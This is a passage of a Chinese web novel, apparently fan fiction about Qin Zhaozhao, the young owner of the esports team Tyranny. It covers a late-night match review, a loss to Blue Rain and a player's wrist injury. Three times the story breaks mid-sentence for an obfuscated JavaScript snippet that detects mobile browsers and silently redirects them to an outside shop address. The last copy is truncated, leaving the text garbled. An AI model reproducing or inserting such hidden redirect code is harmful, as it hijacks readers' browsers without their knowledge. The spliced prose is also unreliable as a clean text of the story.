“本来就是嘛!”秦昭昭小声嘀咕,“我虽然看不懂战术,但我看得懂画面啊。韩队冲进去的时候,那个位置明明没人了,张佳乐的技能才到,不就是放空枪吗?” 她说完,有点忐忑地看着大家,怕自己说错了什么。 但张新杰推了推眼镜,点了点头:“秦总的观察很直观。确实,从视觉上看,就是火力覆盖没能及时跟上正面突破。” 韩文清没说话,但盯着屏幕的眼神更专注了。 林敬言这时候开口,声音温和但一针见血:“其实问题在于节奏。韩队的冲锋节奏是爆发式的,张佳乐的火力覆盖是持续性输出。两种节奏不同,需要找到衔接点。” “明晚加练配合。”韩文清终于开口,声音低沉,“把空档缩短到零点一秒内。” 零点一秒,那几乎就是职业选手的反应极限了。 张佳乐深吸一口气:“行,我调整输出节奏。” 讨论继续。张新杰又开始分析下一个问题点,数据、图表、战术图轮番上阵。秦昭昭努力想跟上,但眼皮越来越重。 她今天其实挺累的。白天跟着李经理处理了一堆俱乐部杂事,下午还跑去训练营看新人,晚上又来看复盘……这会儿已经快九点了,虽然距离她平时的睡眠时间还很早,但是今天忙完之后特别困。 她坐在椅子上,脑袋一点一点的,像小鸡啄米。 林敬言坐在她旁边,注意到她的状态,压低声音说:“秦总,要不您先回去休息吧?这里一时半会儿结束不了。” 秦昭昭猛地惊醒,连忙摇头:“不用不用,我得陪着你们。再说了,我要学习战术呢……” 她说着,还强打起精神坐直身体,从包里掏出小本本,假装要做笔记。 但过了不到五分钟,她的脑袋又开始往下点。 这次点得更厉害,整个上半身都开始晃悠。她手里还拿着笔,本子摊在腿上,但眼睛已经完全闭上了。 林敬言想再叫醒她,但看了看她眼下淡淡的黑眼圈,又忍住了。 算了,让她睡会儿吧。 训练室里,张新杰还在讲解。韩文清时不时插两句,张佳乐提出自己的看法,林敬言补充细节,白言飞和秦牧云认真记笔记。 谁也没注意到角落里那个已经进入梦乡的老板。 直到秦昭昭“咚”一声,脑袋磕在桌子上。声音不大,但在安静的训练室里特别明显。 所有人都转过头。 秦昭昭被这一磕惊醒了,迷迷糊糊地抬起头,揉了揉额头,眼神茫然地看着大家:“怎、怎么了?讲完了吗?” 她脸上还带着睡痕,头发乱糟糟的,样子有点滑稽。 张佳乐憋着笑:“秦总,您要是困了,就回去睡吧。我们这儿还得一会儿呢。” “我不困!”秦昭昭嘴硬,但话音刚落就打了个大大的哈欠。 这个哈欠打得特别投入,眼泪都出来了。 她赶紧捂住嘴,脸有点红:“那个……我真的不困,就是眼睛有点酸……” 话没说完,她又控制不住地趴回桌上。这次是彻底不行了,头一沾桌子,呼吸就均匀起来。 睡着了。 真的睡着了,而且是秒睡。 训练室里安静了几秒。 韩文清看了她一眼,什么也没说,站起身,走到自己座位旁,拿起搭在椅背上的队服外套。那件深红色的外套上印着霸图的队徽,洗得干干净净,带着一点点洗衣液的清香。 他走回秦昭昭身边,动作很轻地把外套披在她身上。 外套很大,几乎把她整个人都罩住了。秦昭昭在睡梦中动了动,脸在外套上蹭了蹭,找了个更舒服的姿势,睡得更沉了。 韩文清做完这一切,回到自己的座位,对张新杰点了点头:“继续。” 张新杰推了推眼镜,看了一眼趴在桌上睡得正香的秦昭昭,又看了一眼韩文清身上只剩一件短袖T恤的背影,什么也没说,继续讲解战术。 训练室里又恢复了之前的节奏。键盘敲击声,鼠标点击声,张新杰平稳的讲解声,偶尔夹杂着几句讨论。 但气氛好像有点不一样了。 张佳乐一边听讲解,一边时不时瞟一眼角落里的秦昭昭。那姑娘裹在韩文清的外套里,只露出半个脑袋,睡得特别香,嘴角还带着点笑意,不知道梦见了什么。 他忽然想起在百花的时候,训练到深夜,累了就直接趴在桌上睡。那时候可没人给他披外套,冻醒了就自己搓搓胳膊继续练。 现在…… 张佳乐笑了笑,收回目光,专注地看向白板。 林敬言也看了一眼秦昭昭,眼神温和。他想起自己刚来霸图的时候,这姑娘也是这样,明明什么都不懂,却非要陪着他们训练,陪着他们复盘,陪着他们熬夜。 她说她要学习,要当一个合格的老板。 虽然学得磕磕绊绊,虽然很多时候都在胡闹,但那份心意,是真的。 白言飞和秦牧云两人对视一眼,都从对方眼里看到了同样的想法——秦总虽然有时候挺不靠谱的,但人真的很好。 复盘一直持续到十一点半。 张新杰终于合上平板:“今天就到这里。明晚八点,针对今天提出的问题进行加练。韩队和张佳乐重点练配合节奏,林敬言和白言飞练侧翼骚扰和策应,秦牧云练远程支援时机。” “收到。”所有人应声。 大家开始收拾东西。键盘鼠标收好,椅子推进去,笔记本合上。训练室里响起窸窸窣窣的声音。 秦昭昭还在睡,一点醒的意思都没有。 张佳乐走过去,想叫醒她,但被林敬言拦住了。 “让她睡会儿吧。”林敬言轻声说,“今天她确实累了。” “那谁送她回去?”白言飞问。 所有人都看向韩文清。 韩文清正在关电脑,感觉到众人的目光,抬起头,说了句:“我送。” 他说得特别自然,好像这是件再正常不过的事。 也确实,这已经不是第一次了。上次在N市,秦昭昭喝醉,也是韩文清背她回去的。上上次她生理期不舒服,是韩文清把训练室的空调温度调高了。上上上次…… 反正,韩队照顾秦总,好像已经成了霸图的日常之一。 大家互相看了看,都没说什么,陆续离开了训练室。 张新杰是最后一个走的。他检查了所有设备,关了灯,只留下一盏夜灯。走到门口时,他回过头,看了一眼还趴在桌上睡觉的秦昭昭,又看了一眼站在她旁边的韩文清。 “韩队,需要帮忙吗?”他问。 “不用。”韩文清摇头,“你去休息吧。” 张新杰推了推眼镜,点点头,转身带上了门。 训练室里只剩下两个人。 一盏夜灯,光线昏暗。电脑屏幕都黑了,只有主机上的指示灯还在闪烁。窗外的城市已经安静下来,偶尔有车灯划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931750|192419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,在墙上投下短暂的光影。 韩文清站在秦昭昭身边,低头看着她。 她睡得很沉,呼吸均匀绵长。长长的睫毛在眼下投下一小片阴影,脸颊因为趴着睡而压出一点红印。嘴唇微微张着,看起来毫无防备。 她身上披着他的外套,深红色的布料衬得她的皮肤更白了。外套很大,几乎把她整个人都裹住了,只露出脑袋和一只手。那只手还握着笔,手指纤细,指甲修剪得很整齐。 韩文清看了她一会儿,然后弯下腰,一手托住她的背,一手伸到她腿弯处,把她打横抱了起来。 秦昭昭在睡梦中动了动,脸在他胸口蹭了蹭,嘴里含糊不清地嘟囔了一句什么,然后又睡过去了。 韩文清抱着她走出训练室,沿着安静的走廊往电梯走。 走廊里只有夜灯还亮着,光线柔和,只有他的脚步声在空旷的走廊里回响。 电梯门开了,他走进去,按下五楼。明明抱着秦昭昭,但是这样的动作对他来说好像完全不困难似的。 电梯缓缓上升,镜面墙壁映出两人的身影——高大硬朗的男人,怀里抱着个睡得香甜的女孩,女孩缩在他怀里。 韩文清看着电梯里照出来的画面,忽然觉得这画面有点……奇怪。 但他没多想,也没放下她。就这么抱着,直到电梯到达五楼。 走到508房间门口,韩文清从秦昭昭口袋里摸出房卡。这动作他已经很熟练了。刷卡,开门,进屋。 房间里没开灯,只有窗外的月光和城市灯光透进来,勉强能看清轮廓。 韩文清抱着秦昭昭走进卧室,轻轻把她放在床上。他拉过被子给她盖好,又仔细掖了掖被角。秦昭昭在睡梦中翻了个身,把脸埋进枕头里,继续睡。 韩文清站在床边,看了她一会儿。 月光从窗帘缝隙漏进来,洒在她脸上,把她长长的睫毛染成银色。她的睡颜很安静,很放松,完全不像白天那个总是蹦蹦跳跳、叽叽喳喳的姑娘。 韩文清摇摇头,转身走出卧室,轻轻带上门。 他回到自己房间,但没立刻睡觉。 心里有种莫名的烦躁,像是有团火在烧,烧得他坐立不安。他洗了个冷水澡,但没用。那种烦躁感还在,而且越来越强烈。 最后他换了身运动服,去了健身房。 晚上十一点的健身房空无一人,只有器械静静地立在那里。韩文清上了跑步机,把速度调到最快,开始狂奔。 风声在耳边呼啸,汗水很快就湿透了衣服。他盯着前方,脑子里却不受控制地闪过各种画面—— 秦昭昭趴在桌上睡觉的样子。 她裹在他外套里的样子。 她在他怀里蹭了蹭的样子。 她睡梦中嘟囔“冠军”的样子。 …… 韩文清猛地停下跑步机,双手撑在扶手上,大口喘气。 汗珠顺着下颌线往下滴,砸在跑步机的传送带上,很快就晕开一小片水渍。 他喘了一会儿,直起身,走到力量训练区,开始做卧推。杠铃很重,每一次推起都需要用尽全力。肌肉在发力,青筋在手臂上凸显,汗水浸湿了背心。 但没用。 脑子里的那些画面,还是挥之不去。 秦昭昭的脸,秦昭昭的笑,秦昭昭睡着时毫无防备的样子…… 韩文清放下杠铃,坐在凳子上,双手撑住额头。 他从来不是个会想太多的人,他的世界很简单。训练,比赛,赢。日复一日,年复一年,从S1赛季到现在,一直都是这样。 但最近,好像有什么东西不一样了。 那个总是蹦蹦跳跳、总是叽叽喳喳、总是做些让人哭笑不得的事的老板,不知什么时候,已经在他心里占据了一个位置。 一个……很重要的位置。 韩文清深吸一口气,站起身,走到窗边。 窗外,Q市的夜晚很安静。远处的海面上有船灯闪烁,像落进海里的星星。近处的街道上偶尔有车驶过,车灯划破夜色,很快又消失在黑暗中。 他想起秦昭昭说过的话—— “韩队,我们会拿冠军的。” 她说这话时眼睛闪闪发光,里面装满了毫无保留的信任和期待。 那种信任,那种期待,像火一样,灼烧着他的心。 韩文清在窗边站了很久,直到身上的汗都干了,才转身离开健身房。 回到房间,他洗了澡,躺在床上。 闭上眼睛,脑子里又浮现出秦昭昭的样子。 这次他没有再抗拒。 就这样吧。 反正……也不是什么坏事。 韩文清想着想着,就睡着了。 17.买下霸图的第十七天 客场打蓝雨,秦昭昭头天晚上就失眠了。 她躺在床上翻来覆去,脑子里全是各种关于蓝雨的资料——剑圣黄少天,战术大师喻文州,还有那支以机会主义著称的队伍。张新杰给她看的分析报告上写得清清楚楚,蓝雨是联盟里团队赛最强的队伍之一,尤其是主场作战,胜率高达百分之八十。 “完了完了……”秦昭昭把脸埋进枕头里哀嚎,“这要怎么打啊?” 第二天早上,她顶着一对熊猫眼出现在酒店餐厅,把正在淡定喝咖啡的张新杰都吓了一跳。 “秦总,您没睡好?”张新杰推了推眼镜。 “紧张。”秦昭昭实话实说,“张副队,你觉得我们能赢吗?” 张新杰沉默了两秒,然后很客观地说:“从数据上看,蓝雨主场优势明显。但比赛不是数据分析,要看临场发挥。” 这话说了等于没说。 秦昭昭叹了口气,往粥里加了勺糖,食不知味地吃着。 上午训练结束后,一行人出发去蓝雨主场。G市的天气比Q市热多了,湿热湿热的,像进了蒸笼。秦昭昭穿着短袖都觉得闷,再看韩文清他们,一个个还穿着长袖队服,她看着都替他们热。 “你们不热吗?”她忍不住问。 “习惯了。”张佳乐擦了擦额头的汗,“比赛的时候空调开得低,穿长袖正好。” 秦昭昭将信将疑。 到了场馆,她才知道张佳乐说的“空调开得低”是什么意思——那哪儿是低啊,简直是冰窖! 选手席在舞台两侧,正对着空调出风口。冷风呼呼地吹,秦昭昭穿着短袖,没几分钟就起了一身鸡皮疙瘩。她搓了搓胳膊,心里暗暗后悔没带件外套。 比赛很快开始。 个人赛第一场,霸图派出的是秦牧云。蓝雨这边上的是郑轩,那个总是念叨着“压力山大”的弹药专家。 两人打得中规中矩,最后秦牧云凭借更稳定的发挥拿下一分。 秦昭昭松了口气。 然后擂台赛开始了。 剑圣一上场,场馆里的气氛瞬间爆炸。欢呼声,尖叫声,几乎要把屋顶掀翻。秦昭昭捂着耳朵,眼睛死死盯着大屏幕。 然后她就见识到了传说中的“垃圾话”。 比赛还没开始,公共频道里就跳出一行字。 夜雨声烦:老韩老韩!听说你们最近很嚣张啊连胜了是吧?啧啧啧老年人不要冲太猛啊!今天就让本剑圣教教你们什么叫天外有天人外有人!看我三段斩接拔刀斩接幻影无形剑接剑影步!保证打得你们找不着北! 韩文清的大漠孤烟回了一个字:“来。” 简洁,有力,特别韩文清。 然后比赛开始。 黄少天不仅手速快,嘴更快。公共频道里的文字像瀑布一样往下刷,速度快得秦昭昭都看不过来。 夜雨声烦:左边左边!看我幻影无形剑!哎哟躲得挺快嘛!右边右边!拔刀斩来了!小心小心!我还有个银光落刃!看我剑影步!怎么样眼花缭乱了吧?哈哈哈哈! 秦昭昭看得目瞪口呆。 她从来没见过有人能一边打比赛一边打这么多字。这得是什么手速啊?这嘴是借来的着急还吗? 而且那些话……虽然没什么脏字,但就是让人特别烦躁。像有只苍蝇在耳边嗡嗡嗡,赶都赶不走。 秦昭昭坐在台下,都替台上的韩文清烦。 但韩文清好像完全不受影响。他的拳法家动作依旧刚猛有力,每一拳都带着破风声。面对黄少天花里胡哨的剑法,他就是两个字。 硬刚。 你放技能?我硬吃。 你走位?我追着打。 你打字?我当没看见。 两个人打了整整十五分钟,最后韩文清以微弱优势取胜。 黄少天下场前还在公共频道里刷了句:老韩你等着!团队赛有你好看的! 韩文清回了个:“嗯。” 团队赛开始,地图载入——幽暗森林。 这张图地形复杂,树木茂密,视野受限,特别适合蓝雨那种擅长游击和配合的打法。 果然,比赛一开始,蓝雨就展现出了惊人的默契。 夜雨声烦在树林里神出鬼没,时不时冒出来砍一刀就跑,十分会找机会。索克萨尔在后方稳坐钓鱼台,术士的控制技能一个接一个,精准得像装了导航。其他队员各司其职,配合得天衣无缝。 霸图这边打得也很顽强。韩文清正面强攻,张佳乐火力覆盖,林敬言侧翼骚扰,张新杰精准治疗,白言飞策应和秦牧云第六人支援。 但总感觉……差一点。 差一点节奏,差一点配合,差一点……运气。 比赛进行到第二十分钟,霸图的阵型被喻文州的一个精妙控制技能撕开了一个口子。黄少天的夜雨声烦如鬼魅般切入,一套连招带走了白言飞的元素法师。 少了一个输出点,霸图的火力瞬间弱了一截。 之后就是蓝雨的节奏了。喻文州的指挥滴水不漏,黄少天的骚扰无孔不入,其他队员的配合严丝合缝。 第二十五分钟,比赛结束。 蓝雨胜。 场馆里爆发出震耳欲聋的欢呼声。蓝雨粉丝高举应援牌,齐声喊着“蓝雨必胜”。 秦昭昭呆呆地看着屏幕上“荣耀”两个大字,过了好几秒才反应过来。 输了? 连胜,就这么断了? 她心里空落落的,那种感觉特别难受,比她自己打游戏输了还难受。 因为这不是她一个人的输赢。 这是整个战队的输赢。 这是韩文清、张新杰、张佳乐、林敬言、白言飞、秦牧云……所有人一起努力的结果。 但现在,输了。 赛后握手环节,秦昭昭站在台下,看着自己的队员和蓝雨队员握手。韩文清的表情依旧严肃,但眉头皱得更紧了。张新杰推了推眼镜,不知道在想什么。张佳乐叹了口气,但很快又笑了,跟黄少天说了句什么,黄少天哈哈大笑。只有林敬言,表情没什么变化,依旧是那副温文尔雅的样子。 但秦昭昭知道,他们心里肯定都不好受。 回酒店的路上,大巴车里特别安静。没人说话,只有空调运转的嗡嗡声。 秦昭昭坐在靠窗的位置,看着窗外G市的夜景。灯火辉煌,车水马龙,但这个城市对她来说陌生又冷漠。 她忽然想起在Q市的时候,每次赢了比赛,大巴车里都特别热闹。大家有说有笑,商量着晚上吃什么,明天怎么训练。 但现在…… 秦昭昭低下头,手指无意识地绞着衣角。 回到酒店,队员们各自回房。秦昭昭也回了自己房间,但没开灯。她摸黑走到窗边,坐在窗台上,抱着膝盖,看着外面的夜景。 心里那股闷气堵在那儿,上不去下不来,特别难受。 她不是不能接受输。荣耀这游戏,有赢就有输,这道理她懂。 但就是……不甘心。 凭什么啊?她的队员明明那么努力,明明那么强,凭什么输给蓝雨? 就因为配合还不够默契?就因为战术被压制了?就因为客场作战? 秦昭昭把脸埋进膝盖里,长长地叹了口气。 就在这时,门被敲响了。 “谁啊?”她抬起头,声音有点哑。 “我,张佳乐。” 秦昭昭愣了一下,赶紧爬起来,整理了一下头发和衣服,过去开门。 门外,张佳乐穿着睡衣,头发散开,他手里端着杯热牛奶,热气腾腾的,在走廊灯光下冒着白烟。 “秦总,还没睡?”他问,语气很自然。 “睡不着。”秦昭昭小声说。 “猜到了。”张佳乐笑了,顺手把牛奶递给她。 秦昭昭接过杯子,牛奶的温度透过杯壁传到手心,暖暖的。 “进来坐会儿?”她侧身让开。 张佳乐也没客气,走进房间,在沙发上坐下。秦昭昭关上门,端着牛奶坐到他旁边。 房间里只开了一盏床头灯,光线昏暗。两人就这么坐着,谁也没先说话。 最后还是张佳乐打破了沉默:“秦总,您是不是还在想刚才的比赛?” “……嗯。”秦昭昭点头,“我就是……有点不甘心。” “正常。”张佳乐说,“我输比赛的时候也不甘心,尤其是那种明明有机会赢却输了的比赛。但输给蓝雨,真不丢人。” 他顿了顿,继续说:“蓝雨是什么队伍?上赛季的冠军,战术核心喻文州是联盟顶尖的战术大师,黄少天是剑圣,团队配合全联盟数一数二。我们呢?我们才磨合了多久?能打到这个程度,已经很强了。” 秦昭昭抬起头,看着他。 张佳乐的表情很认真,不是安慰,而是在陈述一个事实。 “秦总,您知道在百花的时候,我们输给蓝雨多少次吗?”张佳乐笑了笑,笑容里有点无奈,“数都数不清。每次输了我都郁闷,但郁闷完了还得接着练。因为你知道,对手强,你才能变得更强。” 他喝了口水,继续说:“今天这场比赛,虽然输了,但我们暴露了很多问题。配合空档,节奏不一致,战术被压制……这些问题,平时训练可能发现不了,只有跟强队打才能看出来。所以输了不是坏事,是好事。发现问题,解决问题,然后变得更强。” 秦昭昭听着,心里的那股闷气慢慢散了。 是啊,张佳乐说得对。 输给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936267|192419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强队不丢人,发现问题才是关键。 “而且,”张佳乐补充道,“您没发现吗?今天我们虽然输了,但打得并不难看。韩队和黄少天那场擂台赛,多精彩?团队赛虽然被压制了,但我们也打出了自己的东西。这些,都是进步。” 秦昭昭用力点头:“对!韩队今天打得特别帅!还有你,张佳乐,你的百花式打法今天特别绚烂!虽然输了,但看着就过瘾!” 张佳乐被她逗笑了:“秦总,您这关注点……还挺特别。” “本来就是嘛!”秦昭昭理直气壮,“打游戏,打得帅也很重要!” 两人又聊了一会儿,从今天的比赛聊到战术,从战术聊到职业圈的八卦,从八卦聊到各自喜欢吃的零食……话题越跑越远,气氛也越来越轻松。 秦昭昭本来那点郁闷,早就不知道飞哪儿去了。 她端着牛奶一口一口地喝,热乎乎,甜丝丝,从喉咙一直暖到胃里。 窗外的夜色越来越深,G市的灯光一点一点熄灭。房间里很安静,只有两人偶尔的交谈声,和空调运转的轻微声响。 这种感觉,很好。像朋友,像家人,像可以信赖的伙伴。 聊到最后,秦昭昭打了个哈欠。 张佳乐看了看时间,已经快十二点了。 “秦总,您该睡了。”他站起身,“明天还要赶飞机回Q市呢。” “嗯。”秦昭昭点头,也站起来,“谢谢你,张佳乐前辈。听你说这些,我好多了。” “不客气。”张佳乐笑了笑,“早点休息,晚安。” “晚安。” 送走张佳乐,秦昭昭回到房间。她把牛奶喝完,刷了牙,洗了脸,然后躺回床上。 这次她很快就睡着了。 梦里没有输赢,没有比赛,只有温暖的牛奶,和朋友们轻松的笑声。 第二天早上,秦昭昭准时出现在酒店餐厅。 她今天换了身浅黄色的连衣裙,头发扎成高马尾,脸上化了淡妆,看起来精神抖擞,元气满满。 “早啊大家!”她笑着打招呼。 正在吃早餐的队员们抬起头,看到她的样子,都有些惊讶。 他们以为秦总会因为昨天输了比赛而情绪低落,至少会蔫几天。 但眼前这个秦昭昭,笑容灿烂,眼神明亮,完全看不出昨天那副闷闷不乐的样子。 林敬言打量了她一下,推了推眼镜,点点头:“这才是我认识的秦总。” “什么意思?”秦昭昭在他对面坐下,“我昨天难道就不是秦昭昭了吗?” “昨天是。”林敬言笑了,“但今天的你,更好。” 秦昭昭被夸得有点不好意思,拿起一个包子咬了一口,含糊不清地说:“输就输了呗,下次赢回来就是了。张佳乐说了,发现问题,解决问题,然后变得更强。” 正在喝粥的张佳乐抬起头,冲她笑了笑。 韩文清看了她一眼,没说话,但眼神里多了点不一样的东西。 张新杰推了推眼镜,开始安排今天的行程:“九点出发去机场,十一点的航班。到Q市是下午两点,回俱乐部后休息半天,明早恢复正常训练。” “收到!”秦昭昭第一个响应。 吃完早餐,大家回房收拾行李。九点整,准时在大堂集合,出发去机场。 去机场的路上,大巴车里不再像昨天那么安静。大家开始讨论昨天的比赛,分析问题,总结经验。 秦昭昭虽然听不太懂那些战术术语,但她听得很认真,偶尔还问几个问题。 她发现,输了比赛之后,大家并没有消沉,反而更认真了。 这种态度,让她特别佩服。 飞机上,秦昭昭坐在靠窗的位置。她看着窗外层层叠叠的云海,心里特别平静。 输给蓝雨,确实不甘心。 但正如张佳乐所说,发现问题,解决问题,然后变得更强。 她转过头,看了看身边的队员们。 韩文清正闭目养神,眉头微皱,大概在复盘昨天的比赛。张新杰拿着平板在看数据,表情专注。张佳乐戴着耳机听音乐,手指在扶手上轻轻敲着节拍。林敬言在看书,样子温文尔雅。白言飞和秦牧云两个小年轻凑在一起,小声讨论着什么。 这些人,是她的队员,是她的伙伴,是她的……家人。 秦昭昭重新看向窗外,心里充满了力量。 输了又怎样?下次赢回来就是了。反正,这赛季还长的呢。 她掏出手机,给老爹发了条消息:“爸,我们昨天输给蓝雨了,但下次一定赢回来!” 几秒后,老爹回复:“闺女牛逼!输得起才是真英雄!爸相信你们!” 秦昭昭笑了,收起手机,闭上眼睛。 18.买下霸图的第十八天 霸图的训练强度向来是联盟里出了名的高,尤其是输给蓝雨之后,整个战队都憋着一股劲儿,想要在下一次碰面时把场子找回来。 张新杰制定的训练计划严苛得让人头皮发麻,每天从早练到晚,除了吃饭睡觉,基本都在训练室里泡着。韩文清带头加练,常常是最后一个离开训练室的。张佳乐也不甘示弱,把百花式打法练了一遍又一遍。白言飞和秦牧云两个小年轻更是拼了命,恨不得住在训练室里。 秦昭昭看在眼里,又是欣慰又是担心。 欣慰的是大家这么努力,担心的也是大家这么努力。她虽然不懂职业圈,但也知道训练过度不是好事。她私下里找张新杰聊过,张新杰推了推眼镜说训练强度在合理范围内,但需要密切注意队员们的身体状况。 于是秦昭昭多了个新任务,她负责每天在训练室里转悠,观察每个人的状态。韩文清皱眉的次数多了,她就去问是不是哪里不舒服。张佳乐揉手腕的频率高了,她就提醒他该休息了。白言飞打哈欠,她就催他去睡觉。秦牧云坐姿不对,她就去给他调整椅子高度。 队员们一开始还觉得她小题大做,但次数多了,也就习惯了。有时候训练累了,抬头看见秦昭昭那张写满担忧的脸,心里反而会觉得暖暖的。 但意外还是发生了。 那天是周四,上午的训练进行到一半,秦昭昭正坐在后面看张新杰讲战术,忽然听到角落里传来一声压抑的吸气声。 声音很小,但训练室里太安静了,所有人都听到了。 秦昭昭抬头看去,是林敬言。 他坐在自己的位置上,右手紧紧握着左手手腕,眉头皱得紧紧的,额头上渗出细密的冷汗。他的脸色有点白,嘴唇紧抿,像是在极力忍耐着什么。 “林敬言?”秦昭昭心里咯噔一下,赶紧站起来走过去,“你怎么了?” “没事。”林敬言摇头,但声音明显不对劲,带着点颤抖,“就是……手腕有点不舒服。” 他说着,还想继续操作鼠标,但手指刚动了一下,就疼得倒抽一口冷气。 这下所有人都围过来了。 韩文清第一个走到他身边,低头看着他握着手腕的手:“伤到了?” “老毛病了。”林敬言苦笑,“在呼啸的时候就有手伤,最近训练强度大,可能有点复发。” 张新杰推了推眼镜,表情严肃:“什么时候开始的?” “就这几天,隐隐作痛,我以为没什么大碍。”林敬言说,“刚才做那个连招的时候,突然就……” 他没说完,但大家都明白了。 职业选手的手伤,不是小事。轻则影响状态,重则缩短职业生涯。 训练室里气氛一下子凝重起来。 秦昭昭看着林敬言苍白的脸,心里又急又气。急的是他的手伤,气的是他明明不舒服还不说。 “队医!快去叫队医!”她转身对白言飞说。 白言飞赶紧跑出去。 队医很快就来了,给林敬言做了初步检查,然后表情凝重地说:“手腕肌腱炎,旧伤复发。需要立即停止训练,静养一段时间。” “要多久?”林敬言问。 “至少两周不能高强度训练。”队医说,“如果不好好养,以后可能会留下永久性损伤。” 两周。 对于职业选手来说,两周不能训练,简直是灾难。 林敬言的表情一下子黯淡下来。 秦昭昭看在眼里,心里特别不是滋味。她知道林敬言为什么这么拼——他年纪不小了,在呼啸打了这么多年没拿到冠军,现在来霸图,是奔着冠军来的。他比任何人都珍惜这个机会,比任何人都想证明自己。 但身体不会说谎。 “林敬言,”秦昭昭开口,声音比平时严肃很多,“从现在开始,你停止一切训练。” “秦总,我……” “没得商量。”秦昭昭打断他,“队医说了,两周不能高强度训练。这是命令,不是建议。” 她说这话时,表情特别认真,一点开玩笑的意思都没有。 林敬言看着她,张了张嘴,最后还是没说什么,点了点头。 队医给林敬言开了药,又交代了一些注意事项,然后就走了。秦昭昭让林敬言回房间休息,自己则去找张新杰调整训练计划。 “林敬言的手伤需要静养两周,这段时间的团队训练怎么办?”她问。 张新杰推了推眼镜,沉思了几秒:“团队训练不能停,但可以调整内容。我们可以先练其他位置的配合,等林敬言恢复后再补上。另外,也可以让训练营的新人暂时顶一下,虽然水平有差距,但至少能保持训练节奏。” 秦昭昭点点头,心里稍微踏实了点。 安排完这些,她又去食堂让厨师准备些对恢复有好处的食物,然后去药店买了队医推荐的药膏。 做完这一切,已经中午了。 秦昭昭端着午餐,敲响了林敬言的房门。 “进来。”里面传来林敬言的声音。 秦昭昭推门进去,林敬言正坐在窗边的椅子上看书。阳光从窗户洒进来,照在他身上,看起来安静又温和,完全不像刚才在训练室里疼得脸色发白的样子。 “林敬言,吃饭了。”秦昭昭把托盘放在桌上。 “谢谢秦总。”林敬言放下书,走过来。 托盘里是清淡的粥和小菜,还有一碗炖得软烂的汤。秦昭昭看着他坐下,自己也拉了把椅子在旁边坐下。 “手还疼吗?”她问。 “好多了。”林敬言说,“队医给的止疼药效果不错。” “那就好。”秦昭昭松了口气,然后从口袋里掏出刚买的药膏,“队医说这个药膏对肌腱炎有效,每天涂两次,按摩十五分钟。” 她说着,拧开药膏盖子,挤了一点在手上,然后看向林敬言:“手给我。” 林敬言愣了一下:“秦总,我自己来就行……” “你自己怎么涂?”秦昭昭瞪他,“左手给右手涂?能涂好吗?别废话,手给我。” 她说这话时语气特别自然,自然得像在说“今天天气不错”。 林敬言看着她那副强硬的样子,犹豫了一下,还是把左手伸了过去。 他的手很漂亮,手指修长,骨节分明,是一双很适合弹钢琴的手。但现在,手腕处明显有些红肿,看着就让人心疼。 秦昭昭小心翼翼地托住他的手,把药膏涂在红肿的地方,然后开始轻轻地按摩。 她的动作很生疏,显然不常做这种事。但很认真,很仔细,一点一点地把药膏揉开,力道不轻不重,刚刚好。 林敬言低头看着她的侧脸。 秦昭昭今天没化妆,素面朝天,皮肤很白,睫毛很长,在眼下投下一小片阴影。她微微皱着眉,嘴唇抿着,表情专注得像在处理什么重要的大事。 阳光从窗户斜射进来,把她的头发染成浅浅的金色。有几缕碎发垂下来,她没在意,任它们落在脸颊边。 她的手指很软,很暖,涂着药膏在他手腕上轻轻打圈。药膏是清凉的,但她的指尖是温热的,两种温度混在一起,有种说不出的舒服。 林敬言就这么静静地看着她,看了很久。 忽然,他笑了。 不是那种客套的笑,不是那种温和的笑,而是发自内心的,带着点无奈,带着点温暖,带着点说不清道不明的情绪的笑。 笑声很轻,但在安静的房间里特别明显。 秦昭昭抬起头,疑惑地看着他:“你笑什么?” 林敬言摇摇头,脸上的笑意却更浓了:“没什么,就是觉得……秦总您认真的样子,挺可爱的。” 秦昭昭脸一红,手上的动作都乱了:“什么可爱不可爱的,我在给你涂药呢,严肃点!” “是是是,严肃严肃。”林敬言嘴上这么说,但脸上的笑还是收不住。 他也不知道自己为什么笑。可能是秦昭昭那副“我在做很重要的事”的表情太认真了,可能是她涂药时笨拙又努力的样子太有趣了,可能是阳光太暖了,药膏太清凉了,手被她握着的感觉太舒服了…… 总之,他就是想笑。 心里那股因为手伤而起的郁闷,因为不能训练而生的焦虑,在这一刻,全都消散了。 取而代之的是一种很温暖,很踏实的感觉。 就像……就像在外面奔波了很久,终于回到了家,有人给你煮了热汤,有人给你准备了药,有人握着你的手,认认真真地帮你涂药膏。 那种感觉,很好。 好到他想一直这样下去。 秦昭昭不知道他在想什么,她还在认真地涂药。药膏慢慢化开,渗进皮肤里,清凉的感觉缓解了疼痛。她按摩得很仔细,每个角度都照顾到了,足足按了十五分钟。 “好了。”她终于停下来,擦了擦手,“每天早晚各一次,记住了没?” “记住了。”林敬言点头。 “还有,这两周不准碰电脑,不准碰鼠标,不准做任何需要手腕用力的动作。”秦昭昭板着脸,“我会监督你的。” “秦总,”林敬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 